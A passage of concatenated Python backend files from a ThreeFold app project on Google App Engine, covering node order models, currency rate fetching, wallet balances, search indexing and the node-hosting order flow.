from plugins.tff_backend.bizz.iyo.utils import get_username
from plugins.tff_backend.plugin_consts import NAMESPACE
class NodeOrderStatus(object):
CANCELED = -1
APPROVED = 0
SIGNED = 1
SENT = 2
ARRIVED = 3
# Admins must manually check if user has invested >= REQUIRED_TOKEN_COUNT_TO_HOST tokens
WAITING_APPROVAL = 4
PAID = 5
class ContactInfo(NdbModel):
name = ndb.StringProperty(indexed=False)
email = ndb.StringProperty(indexed=False)
phone = ndb.StringProperty(indexed=False)
address = ndb.StringProperty(indexed=False)
def _validate_socket(prop, value):
# type: (ndb.StringProperty, object) -> unicode
socket_types = get_config(NAMESPACE).odoo.product_ids.keys()
if value in socket_types:
return value
else:
raise datastore_errors.BadValueError('Value %r for property %s is not an allowed choice' % (value, prop._name))
def normalize_address(address):
if not address:
return None
without_duplicate_spaces = re.sub('\s\s+', '', address).strip().lower()
# Remove everything that isn't alphanumerical
return re.sub('[^0-9a-z]+', '', without_duplicate_spaces)
class NodeOrder(NdbModel):
NAMESPACE = NAMESPACE
def _normalize_address(self):
return normalize_address(self.billing_info and self.billing_info.address)
username = ndb.StringProperty()
billing_info = ndb.LocalStructuredProperty(ContactInfo) # type: ContactInfo
shipping_info = ndb.LocalStructuredProperty(ContactInfo) # type: ContactInfo
status = ndb.IntegerProperty()
tos_iyo_see_id = ndb.StringProperty(indexed=False)
signature_payload = ndb.StringProperty(indexed=False)
signature = ndb.StringProperty(indexed=False)
order_time = ndb.IntegerProperty()
sign_time = ndb.IntegerProperty()
send_time = ndb.IntegerProperty()
arrival_time = ndb.IntegerProperty() # time the node first came online
cancel_time = ndb.IntegerProperty()
modification_time = ndb.IntegerProperty()
odoo_sale_order_id = ndb.IntegerProperty()
socket = ndb.StringProperty(indexed=False, validator=_validate_socket)
address_hash = ndb.ComputedProperty(_normalize_address)
def _pre_put_hook(self):
self.modification_time = now()
def _post_put_hook(self, future):
from plugins.tff_backend.dal.node_orders import index_node_order
if ndb.in_transaction():
from google.appengine.ext import deferred
deferred.defer(index_node_order, self, _transactional=True)
else:
index_node_order(self)
@property
def id(self):
return self.key.id()
@property
def human_readable_id(self):
return NodeOrder.create_human_readable_id(self.id)
@property
def document_url(self):
has_doc = self.tos_iyo_see_id is not None or self.status in (NodeOrderStatus.ARRIVED, NodeOrderStatus.SENT)
return get_serving_url(self.filename(self.id)) if has_doc else None
@classmethod
def filename(cls, node_order_id):
return u'node-orders/%s.pdf' % encrypt_filename(node_order_id)
@classmethod
def create_key(cls, order_id=None):
if order_id is None:
order_id = cls.allocate_ids(1)[0]
return ndb.Key(cls, order_id, namespace=NAMESPACE)
@classmethod
def create_human_readable_id(cls, order_id):
id_str = str(order_id)
if len(id_str) % 4 == 0:
return '.'.join(chunks(id_str, 4))
return id_str
@classmethod
def list(cls):
return cls.query()
@classmethod
def list_by_status(cls, status):
return cls.query() \
.filter(cls.status == status)
@classmethod
def list_by_user(cls, username):
return cls.query() \
.filter(cls.username == username)
@classmethod
def has_order_for_user_or_location(cls, username, address):
user_qry = cls.list_by_user(username).fetch_async()
address_qry = cls.query().filter(cls.address_hash == normalize_address(address)).fetch_async()
results = user_qry.get_result() + address_qry.get_result()
return any(n for n in results if n.status != NodeOrderStatus.CANCELED)
@classmethod
def list_check_online(cls):
two_days_ago = now() - (DAY * 2)
return cls.list_by_status(NodeOrderStatus.SENT).filter(cls.send_time < two_days_ago)
@classmethod
def list_by_so(cls, odoo_sale_order_id):
return cls.query().filter(cls.odoo_sale_order_id == odoo_sale_order_id)
def to_dict(self, extra_properties=[]):
return super(NodeOrder, self).to_dict(extra_properties + ['document_url'])
class PublicKeyMapping(NdbModel):
NAMESPACE = NAMESPACE
label = ndb.StringProperty() # label on itsyou.online
@classmethod
def create_key(cls, public_key, user_email):
return ndb.Key(cls, public_key, cls, user_email, namespace=NAMESPACE)
|
threefoldfoundation/app_backend | plugins/tff_backend/bizz/global_stats.py | <reponame>threefoldfoundation/app_backend
# -*- coding: utf-8 -*-
# Copyright 2017 GIG Technology NV
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# @@license_version:1.3@@
import json
import logging
from google.appengine.api import urlfetch
from google.appengine.ext import ndb
from framework.plugin_loader import get_config
from framework.utils import now
from mcfw.cache import cached
from mcfw.exceptions import HttpNotFoundException, HttpBadRequestException
from mcfw.rpc import arguments, returns
from plugins.rogerthat_api.exceptions import BusinessException
from plugins.tff_backend.models.global_stats import GlobalStats, CurrencyValue
from plugins.tff_backend.plugin_consts import NAMESPACE
from plugins.tff_backend.to.global_stats import GlobalStatsTO
class ApiCallException(Exception):
pass
def list_global_stats():
# type: () -> list[GlobalStats]
return GlobalStats.list()
def get_global_stats(stats_id):
# type: (unicode) -> GlobalStats
return GlobalStats.create_key(stats_id).get()
def put_global_stats(stats_id, stats):
# type: (unicode, GlobalStatsTO) -> GlobalStats
assert isinstance(stats, GlobalStatsTO)
stats_model = GlobalStats.create_key(stats_id).get() # type: GlobalStats
if not stats_model:
raise HttpNotFoundException('global_stats_not_found')
currencies = _get_currency_conversions(stats.currencies, stats.value)
stats_model.populate(currencies=currencies, **stats.to_dict(exclude=['id', 'market_cap', 'currencies']))
stats_model.put()
return stats_model
def update_currencies():
to_put = []
for stats in GlobalStats.query():
stats.currencies = _get_currency_conversions(stats.currencies, stats.value)
to_put.append(stats)
ndb.put_multi(to_put)
def _get_currency_conversions(currencies, dollar_value):
# type: (list[CurrencyValueTO | CurrencyValue], float) -> list[CurrencyValue]
currency_result = _get_current_currency_rates()
result_list = []
invalid_currencies = [c.currency for c in currencies if c.currency not in currency_result]
if invalid_currencies:
raise HttpBadRequestException('invalid_currencies', {'currencies': invalid_currencies})
for currency in currencies:
if currency.auto_update:
value_of_one_usd = currency_result.get(currency.currency)
currency.value = dollar_value / value_of_one_usd
currency.timestamp = now()
result_list.append(CurrencyValue(currency=currency.currency, value=currency.value, timestamp=currency.timestamp,
auto_update=currency.auto_update))
return result_list
def _get_current_currency_rates():
# type: () -> dict[unicode, float]
"""
Keys are currencies, values are the price of 1 USD in that currency
"""
result = get_fiat_rate()
result.update(get_crypto_rate())
return result
def get_fiat_rate():
# type: () -> dict[unicode, float]
return {k: 1.0 / v for k, v in json.loads(_get_fiat_rate())['rates'].iteritems()}
def get_crypto_rate():
# type: () -> dict[unicode, float]
return {r['symbol']: float(r['price_usd']) for r in json.loads(_get_crypto_rate())}
@cached(1)
@returns(unicode)
@arguments()
def _get_fiat_rate():
# Max 1000 calls / month with free account
return _fetch('https://v3.exchangerate-api.com/bulk/%s/USD' % get_config(NAMESPACE).exchangerate_key)
@cached(1)
@returns(unicode)
@arguments()
def _get_crypto_rate():
return _fetch('https://api.coinmarketcap.com/v1/ticker')
def _fetch(url):
result = urlfetch.fetch(url) # type: urlfetch._URLFetchResult
logging.info('Response from %s: %s %s', url, result.status_code, result.content)
if result.status_code != 200:
raise BusinessException('Invalid status from %s: %s' % (url, result.status_code))
return result.content
|
threefoldfoundation/app_backend | plugins/tff_backend/bizz/email.py | <reponame>threefoldfoundation/app_backend
# -*- coding: utf-8 -*-
# Copyright 2018 GIG Technology NV
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# @@license_version:1.4@@
import logging
from google.appengine.api import mail
from google.appengine.api.app_identity import app_identity
from framework.plugin_loader import get_config
from plugins.tff_backend.plugin_consts import NAMESPACE
def send_emails_to_support(subject, body):
cfg = get_config(NAMESPACE)
sender = '<EMAIL>' % app_identity.get_application_id()
logging.debug('Sending email to support: %s\n %s', subject, body)
for email in cfg.support_emails:
logging.debug('Sending email to %s', email)
mail.send_mail(sender=sender,
to=email,
subject=subject,
body=body)
|
threefoldfoundation/app_backend | plugins/tff_backend/models/nodes.py | # -*- coding: utf-8 -*-
# Copyright 2018 GIG Technology NV
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# @@license_version:1.4@@
from google.appengine.ext import ndb
from framework.models.common import NdbModel
from plugins.rogerthat_api.plugin_utils import Enum
from plugins.tff_backend.plugin_consts import NAMESPACE
class NodeStatus(Enum):
HALTED = 'halted'
RUNNING = 'running'
class WalletStatus(Enum):
ERROR = 'error'
LOCKED = 'locked'
UNLOCKED = 'unlocked'
class NodeChainStatus(NdbModel):
wallet_status = ndb.StringProperty(choices=WalletStatus.all())
block_height = ndb.IntegerProperty(default=0)
active_blockstakes = ndb.IntegerProperty(default=0)
network = ndb.StringProperty(default='standard', choices=['devnet', 'testnet', 'standard'])
confirmed_balance = ndb.IntegerProperty(default=0)
connected_peers = ndb.IntegerProperty(default=0)
address = ndb.StringProperty()
class Node(NdbModel):
NAMESPACE = NAMESPACE
serial_number = ndb.StringProperty()
last_update = ndb.DateTimeProperty()
username = ndb.StringProperty()
status = ndb.StringProperty(default=NodeStatus.HALTED)
status_date = ndb.DateTimeProperty()
info = ndb.JsonProperty()
chain_status = ndb.StructuredProperty(NodeChainStatus)
@property
def id(self):
return self.key.string_id().decode('utf-8')
@classmethod
def create_key(cls, node_id):
# type: (unicode) -> ndb.Key
return ndb.Key(cls, node_id, namespace=NAMESPACE)
@classmethod
def list_by_user(cls, username):
return cls.query().filter(cls.username == username)
@classmethod
def list_by_property(cls, property_name, ascending):
prop = None
if '.' in property_name:
for part in property_name.split('.'):
prop = getattr(prop if prop else cls, part)
else:
prop = getattr(cls, property_name)
return cls.query().order(prop if ascending else - prop)
@classmethod
def list_running_by_last_update(cls, date):
return cls.query().filter(cls.last_update < date).filter(cls.status == NodeStatus.RUNNING)
|
threefoldfoundation/app_backend | plugins/tff_backend/bizz/payment.py | <reponame>threefoldfoundation/app_backend
# -*- coding: utf-8 -*-
# Copyright 2017 GIG Technology NV
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# @@license_version:1.3@@
import time
from google.appengine.api import users
from google.appengine.ext import ndb
from framework.utils import now
from mcfw.rpc import returns, arguments
from plugins.rogerthat_api.exceptions import BusinessException
from plugins.tff_backend.models.payment import ThreeFoldTransaction, ThreeFoldPendingTransaction
from plugins.tff_backend.to.payment import WalletBalanceTO
def _get_balance_from_transactions(transactions, token):
# type: (list[ThreeFoldTransaction], unicode) -> WalletBalanceTO
available_balance = 0
total_balance = 0
total_description_details = []
# TODO set to minimum precision of all transactions when transactions have the 'precision' property
# (and multiply available / total amount depending on precision)
precision = 2
# for transaction in transactions:
# precision = max(transaction.precision, precision)
for transaction in transactions:
if transaction.token != token:
raise BusinessException('Invalid transaction supplied to _get_balance_from_transactions. '
'All transactions must have %s as token', token)
amount_spent = transaction.amount - transaction.amount_left
unlocked_amount = 0
now_ = now()
for unlock_timestamp, unlock_amount in zip(transaction.unlock_timestamps, transaction.unlock_amounts):
if unlock_timestamp <= now_:
unlocked_amount += unlock_amount
else:
total_description_details.append((unlock_timestamp, unlock_amount))
spendable_amount = unlocked_amount - amount_spent
available_balance += spendable_amount
total_balance += transaction.amount_left
if total_description_details:
total_description = u"""## %(token)s Unlock times'
|Date|#%(token)s|
|---|---:|
""" % {'token': token}
for unlock_timestamp, unlock_amount in sorted(total_description_details, key=lambda tup: tup[0]):
date = time.strftime('%a %d %b %Y %H:%M:%S GMT', time.localtime(unlock_timestamp))
amount = u'{:0,.2f}'.format(unlock_amount / 100.0)
total_description += u'\n|%s|%s|' % (date, amount)
else:
total_description = None
return WalletBalanceTO(available=available_balance, total=total_balance, description=total_description, token=token,
precision=precision)
@returns([WalletBalanceTO])
@arguments(username=unicode)
def get_all_balances(username):
transactions = ThreeFoldTransaction.list_with_amount_left(username)
token_types = set(map(lambda transaction: transaction.token, transactions))
results = []
for token in token_types:
transactions_per_token = [trans for trans in transactions if trans.token == token]
results.append(_get_balance_from_transactions(transactions_per_token, token))
return results
@returns(tuple)
@arguments(username=unicode, page_size=(int, long), cursor=unicode)
def get_pending_transactions(username, page_size, cursor):
# type: (users.User, long, unicode) -> tuple[list[ThreeFoldPendingTransaction], ndb.Cursor, bool]
return ThreeFoldPendingTransaction.list_by_user(username) \
.fetch_page(page_size, start_cursor=ndb.Cursor(urlsafe=cursor))
|
threefoldfoundation/app_backend | plugins/tff_backend/dal/investment_agreements.py | <gh_stars>0
# -*- coding: utf-8 -*-
# Copyright 2017 GIG Technology NV
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# @@license_version:1.3@@
import logging
from datetime import datetime
from google.appengine.api import search
from google.appengine.api.search import SortExpression
from google.appengine.ext import ndb
from framework.bizz.job import run_job, MODE_BATCH
from mcfw.exceptions import HttpNotFoundException
from mcfw.rpc import returns, arguments
from plugins.tff_backend.bizz.iyo.utils import get_username, get_iyo_usernames
from plugins.tff_backend.consts.investor import INVESTMENT_AGREEMENT_SEARCH_INDEX
from plugins.tff_backend.models.investor import InvestmentAgreement
from plugins.tff_backend.plugin_consts import NAMESPACE
from plugins.tff_backend.utils.search import remove_all_from_index
INVESTMENT_INDEX = search.Index(INVESTMENT_AGREEMENT_SEARCH_INDEX, namespace=NAMESPACE)
@returns(InvestmentAgreement)
@arguments(agreement_id=(int, long))
def get_investment_agreement(agreement_id):
# type: (long) -> InvestmentAgreement
agreement = InvestmentAgreement.get_by_id(agreement_id)
if not agreement:
raise HttpNotFoundException('investment_agreement_not_found')
return agreement
def index_all_investment_agreements():
remove_all_from_index(INVESTMENT_INDEX)
run_job(_get_all_investment_agreements, [], multi_index_investment_agreement, [], mode=MODE_BATCH, batch_size=200)
def _get_all_investment_agreements():
return InvestmentAgreement.query()
def index_investment_agreement(investment):
# type: (InvestmentAgreement) -> list[search.PutResult]
logging.info('Indexing investment agreement %s', investment.id)
document = create_investment_agreement_document(investment)
return INVESTMENT_INDEX.put(document)
def multi_index_investment_agreement(order_keys):
# type: (list[ndb.Key]) -> list[search.PutResult]
logging.info('Indexing %s investment agreements', len(order_keys))
return INVESTMENT_INDEX.put([create_investment_agreement_document(order) for order in ndb.get_multi(order_keys)])
def _stringify_float(value):
# type: (float) -> str
return str(value).rstrip('0').rstrip('.')
def create_investment_agreement_document(investment):
# type: (InvestmentAgreement) -> search.Document
investment_id_str = str(investment.id)
fields = [
search.AtomField(name='id', value=investment_id_str),
search.AtomField(name='reference', value=investment.reference),
search.NumberField(name='status', value=investment.status),
search.TextField(name='username', value=investment.username),
search.DateField(name='creation_time', value=datetime.utcfromtimestamp(investment.creation_time)),
search.TextField(name='name', value=investment.name),
search.TextField(name='address', value=investment.address and investment.address.replace('\n', '')),
search.TextField(name='currency', value=investment.currency),
]
if investment.amount:
fields.append(search.TextField(name='amount', value=_stringify_float(investment.amount)))
if investment.token_count:
fields.append(search.TextField(name='token_count', value=_stringify_float(investment.token_count_float)))
return search.Document(doc_id=investment_id_str, fields=fields)
def search_investment_agreements(query=None, page_size=20, cursor=None):
# type: (unicode, int, unicode) -> tuple[list[InvestmentAgreement], search.Cursor, bool]
options = search.QueryOptions(limit=page_size,
cursor=search.Cursor(cursor),
ids_only=True,
sort_options=search.SortOptions(
expressions=[SortExpression(expression='creation_time',
direction=SortExpression.DESCENDING)]))
search_results = INVESTMENT_INDEX.search(search.Query(query, options=options)) # type: search.SearchResults
results = search_results.results # type: list[search.ScoredDocument]
investment_agreements = ndb.get_multi([InvestmentAgreement.create_key(long(result.doc_id)) for result in results])
return investment_agreements, search_results.cursor, search_results.cursor is not None
def list_investment_agreements_by_user(username):
return InvestmentAgreement.list_by_user(username)
|
threefoldfoundation/app_backend | plugins/tff_backend/migrations/_005_node_id_on_profile.py | <reponame>threefoldfoundation/app_backend<gh_stars>0
# -*- coding: utf-8 -*-
# Copyright 2017 GIG Technology NV
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# @@license_version:1.3@@
import logging
from framework.bizz.job import run_job
from plugins.tff_backend.bizz.iyo.utils import get_username
from plugins.tff_backend.bizz.nodes.stats import assign_nodes_to_user
from plugins.tff_backend.bizz.odoo import get_nodes_from_odoo
from plugins.tff_backend.models.hoster import NodeOrder, NodeOrderStatus
def migrate(dry_run=False):
run_job(_get_orders, [NodeOrderStatus.ARRIVED], _set_node_id, [])
run_job(_get_orders, [NodeOrderStatus.PAID], _set_node_id, [])
run_job(_get_orders, [NodeOrderStatus.SENT], _set_node_id, [])
def _get_orders(status):
return NodeOrder.list_by_status(status)
def _set_node_id(order_key):
order = order_key.get() # type: NodeOrder
nodes = get_nodes_from_odoo(order.odoo_sale_order_id)
if nodes:
assign_nodes_to_user(order.username, nodes)
logging.info('Saved node_id %s for user %s', nodes, order.username)
|
threefoldfoundation/app_backend | plugins/tff_backend/to/iyo/keystore.py | <reponame>threefoldfoundation/app_backend
# -*- coding: utf-8 -*-
# Copyright 2017 GIG Technology NV
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# @@license_version:1.3@@
from framework.to import TO, convert_to_unicode
from mcfw.properties import unicode_property, typed_property
class IYOKeyStoreKeyData(TO):
timestamp = unicode_property('1')
comment = unicode_property('2')
algorithm = unicode_property('3')
def __init__(self, timestamp=None, comment=None, algorithm=None, **kwargs):
self.timestamp = convert_to_unicode(timestamp)
self.comment = convert_to_unicode(comment)
self.algorithm = convert_to_unicode(algorithm)
class IYOKeyStoreKey(TO):
key = unicode_property('1')
globalid = unicode_property('2')
username = unicode_property('3')
label = unicode_property('4')
keydata = typed_property('5', IYOKeyStoreKeyData, False)
def __init__(self, key=None, globalid=None, username=None, label=None,
keydata=None, **kwargs):
self.key = convert_to_unicode(key)
self.globalid = convert_to_unicode(globalid)
self.username = convert_to_unicode(username)
self.label = convert_to_unicode(label)
self.keydata = IYOKeyStoreKeyData(**keydata) if keydata else None
|
threefoldfoundation/app_backend | plugins/tff_backend/api/nodes_unauthenticated.py | # -*- coding: utf-8 -*-
# Copyright 2018 GIG Technology NV
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# @@license_version:1.4@@
# -*- coding: utf-8 -*-
# Copyright 2017 GIG Technology NV
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# @@license_version:1.3@@
from datetime import datetime
from mcfw.restapi import rest
from mcfw.rpc import returns, arguments
from plugins.tff_backend.bizz.nodes.stats import save_node_stats
from plugins.tff_backend.to.nodes import UpdateNodeStatusTO
@rest('/nodes/<node_id:[^/]+>/status', 'put', [], silent=True)
@returns()
@arguments(node_id=unicode, data=UpdateNodeStatusTO)
def api_save_node_stats(node_id, data):
return save_node_stats(node_id, data, datetime.now())
|
threefoldfoundation/app_backend | plugins/tff_backend/bizz/nodes/hoster.py | <reponame>threefoldfoundation/app_backend
# -*- coding: utf-8 -*-
# Copyright 2017 GIG Technology NV
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# @@license_version:1.3@@
import base64
import json
import logging
from google.appengine.api import users
from google.appengine.ext import ndb, deferred
from framework.consts import get_base_url
from framework.plugin_loader import get_config
from framework.utils import now
from mcfw.consts import DEBUG, MISSING
from mcfw.exceptions import HttpBadRequestException
from mcfw.properties import object_factory
from mcfw.rpc import returns, arguments
from plugins.rogerthat_api.api import messaging, system
from plugins.rogerthat_api.to import UserDetailsTO, MemberTO
from plugins.rogerthat_api.to.messaging import AttachmentTO, Message
from plugins.rogerthat_api.to.messaging.flow import FLOW_STEP_MAPPING
from plugins.rogerthat_api.to.messaging.forms import SignTO, SignFormTO, FormTO, SignWidgetResultTO
from plugins.rogerthat_api.to.messaging.service_callback_results import TYPE_FLOW, FlowCallbackResultTypeTO, \
FlowMemberResultCallbackResultTO
from plugins.tff_backend.bizz import get_tf_token_api_key, get_grid_api_key
from plugins.tff_backend.bizz.agreements import create_hosting_agreement_pdf
from plugins.tff_backend.bizz.email import send_emails_to_support
from plugins.tff_backend.bizz.gcs import upload_to_gcs
from plugins.tff_backend.bizz.intercom_helpers import tag_intercom_users, IntercomTags
from plugins.tff_backend.bizz.iyo.utils import get_username
from plugins.tff_backend.bizz.messages import send_message_and_email
from plugins.tff_backend.bizz.nodes.stats import assign_nodes_to_user
from plugins.tff_backend.bizz.odoo import create_odoo_quotation, update_odoo_quotation, QuotationState, \
confirm_odoo_quotation, get_nodes_from_odoo
from plugins.tff_backend.bizz.rogerthat import put_user_data, create_error_message
from plugins.tff_backend.bizz.todo import update_hoster_progress
from plugins.tff_backend.bizz.todo.hoster import HosterSteps
from plugins.tff_backend.bizz.user import get_tff_profile
from plugins.tff_backend.configuration import TffConfiguration
from plugins.tff_backend.consts.hoster import REQUIRED_TOKEN_COUNT_TO_HOST
from plugins.tff_backend.dal.node_orders import get_node_order
from plugins.tff_backend.exceptions.hoster import OrderAlreadyExistsException, InvalidContentTypeException
from plugins.tff_backend.models.hoster import NodeOrder, NodeOrderStatus, ContactInfo
from plugins.tff_backend.models.investor import InvestmentAgreement
from plugins.tff_backend.plugin_consts import KEY_NAME, KEY_ALGORITHM, NAMESPACE, FLOW_HOSTER_SIGNATURE_RECEIVED, \
FLOW_SIGN_HOSTING_AGREEMENT
from plugins.tff_backend.to.nodes import NodeOrderTO, CreateNodeOrderTO
from plugins.tff_backend.utils import get_step_value, get_step
from plugins.tff_backend.utils.app import create_app_user_by_email, get_app_user_tuple
@returns()
@arguments(message_flow_run_id=unicode, member=unicode, steps=[object_factory("step_type", FLOW_STEP_MAPPING)],
end_id=unicode, end_message_flow_id=unicode, parent_message_key=unicode, tag=unicode, result_key=unicode,
flush_id=unicode, flush_message_flow_id=unicode, service_identity=unicode, user_details=UserDetailsTO,
flow_params=unicode)
def order_node(message_flow_run_id, member, steps, end_id, end_message_flow_id, parent_message_key, tag, result_key,
flush_id, flush_message_flow_id, service_identity, user_details, flow_params):
order_key = NodeOrder.create_key()
deferred.defer(_order_node, order_key, user_details.email, user_details.app_id, steps)
def _order_node(order_key, user_email, app_id, steps):
logging.info('Receiving order of Zero-Node')
app_user = create_app_user_by_email(user_email, app_id)
overview_step = get_step(steps, 'message_overview')
if overview_step and overview_step.answer_id == u"button_use":
api_key = get_grid_api_key()
user_data_keys = ['name', 'email', 'phone', 'billing_address', 'address', 'shipping_name', 'shipping_email',
'shipping_phone', 'shipping_address']
user_data = system.get_user_data(api_key, user_email, app_id, user_data_keys)
billing_info = ContactInfo(name=user_data['name'],
email=user_data['email'],
phone=user_data['phone'],
address=user_data['billing_address'] or user_data['address'])
if user_data['shipping_name']:
shipping_info = ContactInfo(name=user_data['shipping_name'],
email=user_data['shipping_email'],
phone=user_data['shipping_phone'],
address=user_data['shipping_address'])
else:
shipping_info = billing_info
updated_user_data = None
else:
name = get_step_value(steps, 'message_name')
email = get_step_value(steps, 'message_email')
phone = get_step_value(steps, 'message_phone')
billing_address = get_step_value(steps, 'message_billing_address')
updated_user_data = {
'name': name,
'email': email,
'phone': phone,
'billing_address': billing_address,
}
billing_info = ContactInfo(name=name,
email=email,
phone=phone,
address=billing_address)
same_shipping_info_step = get_step(steps, 'message_choose_shipping_info')
if same_shipping_info_step and same_shipping_info_step.answer_id == u"button_yes":
shipping_info = billing_info
else:
shipping_name = get_step_value(steps, 'message_shipping_name')
shipping_email = get_step_value(steps, 'message_shipping_email')
shipping_phone = get_step_value(steps, 'message_shipping_phone')
shipping_address = get_step_value(steps, 'message_shipping_address')
updated_user_data.update({
'shipping_name': shipping_name,
'shipping_email': shipping_email,
'shipping_phone': shipping_phone,
'shipping_address': shipping_address,
})
shipping_info = ContactInfo(name=shipping_name,
email=shipping_email,
phone=shipping_phone,
address=shipping_address)
socket_step = get_step(steps, 'message_socket')
socket = socket_step and socket_step.answer_id.replace('button_', '')
# Only one node is allowed per user, and one per location
username = get_username(app_user)
if NodeOrder.has_order_for_user_or_location(username, billing_info.address) and not DEBUG:
logging.info('User already has a node order, sending abort message')
msg = u'Dear ThreeFold Member, we sadly cannot grant your request to host an additional ThreeFold Node:' \
u' We are currently only allowing one Node to be hosted per ThreeFold Member and location.' \
u' This will allow us to build a bigger base and a more diverse Grid.'
subject = u'Your ThreeFold Node request'
send_message_and_email(app_user, msg, subject, get_grid_api_key())
return
# Check if user has invested >= 120 tokens
paid_orders = InvestmentAgreement.list_by_status_and_user(username, InvestmentAgreement.STATUS_PAID)
total_tokens = sum([o.token_count_float for o in paid_orders])
can_host = total_tokens >= REQUIRED_TOKEN_COUNT_TO_HOST
def trans():
logging.debug('Storing order in the database')
order = NodeOrder(key=order_key,
username=username,
tos_iyo_see_id=None,
billing_info=billing_info,
shipping_info=shipping_info,
order_time=now(),
status=NodeOrderStatus.APPROVED if can_host else NodeOrderStatus.WAITING_APPROVAL,
socket=socket)
order.put()
if can_host:
logging.info('User has invested more than %s tokens, immediately creating node order PDF.',
REQUIRED_TOKEN_COUNT_TO_HOST)
deferred.defer(_create_node_order_pdf, order_key.id(), app_user, _transactional=True)
else:
logging.info('User has not invested more than %s tokens, an admin needs to approve this order manually.',
REQUIRED_TOKEN_COUNT_TO_HOST)
deferred.defer(_inform_support_of_new_node_order, order_key.id(), _transactional=True)
deferred.defer(set_hoster_status_in_user_data, app_user, False, _transactional=True)
if updated_user_data:
deferred.defer(put_user_data, get_tf_token_api_key(), user_email, app_id, updated_user_data,
_transactional=True)
ndb.transaction(trans)
def _create_node_order_pdf(node_order_id, app_user):
node_order = get_node_order(node_order_id)
user_email, app_id = get_app_user_tuple(app_user)
logging.debug('Creating Hosting agreement')
pdf_name = NodeOrder.filename(node_order_id)
pdf_contents = create_hosting_agreement_pdf(node_order.billing_info.name, node_order.billing_info.address)
pdf_size = len(pdf_contents)
pdf_url = upload_to_gcs(pdf_name, pdf_contents, 'application/pdf')
deferred.defer(_order_node_iyo_see, app_user, node_order_id, pdf_url, pdf_size)
deferred.defer(update_hoster_progress, user_email.email(), app_id, HosterSteps.FLOW_ADDRESS)
def _order_node_iyo_see(app_user, node_order_id, pdf_url, pdf_size, create_quotation=True):
order_id = NodeOrder.create_human_readable_id(node_order_id)
attachment_name = u'Zero-Node order %s - Terms and conditions'.join(order_id)
if create_quotation:
_create_quotation(app_user, node_order_id, pdf_url, attachment_name, pdf_size)
@returns()
@arguments(app_user=users.User, order_id=(int, long), pdf_url=unicode, attachment_name=unicode, pdf_size=(int, long))
def _create_quotation(app_user, order_id, pdf_url, attachment_name, pdf_size):
order = get_node_order(order_id)
config = get_config(NAMESPACE)
assert isinstance(config, TffConfiguration)
product_id = config.odoo.product_ids.get(order.socket)
if not product_id:
logging.warn('Could not find appropriate product for socket %s. Falling back to EU socket.', order.socket)
product_id = config.odoo.product_ids['EU']
odoo_sale_order_id, odoo_sale_order_name = create_odoo_quotation(order.billing_info, order.shipping_info,
product_id)
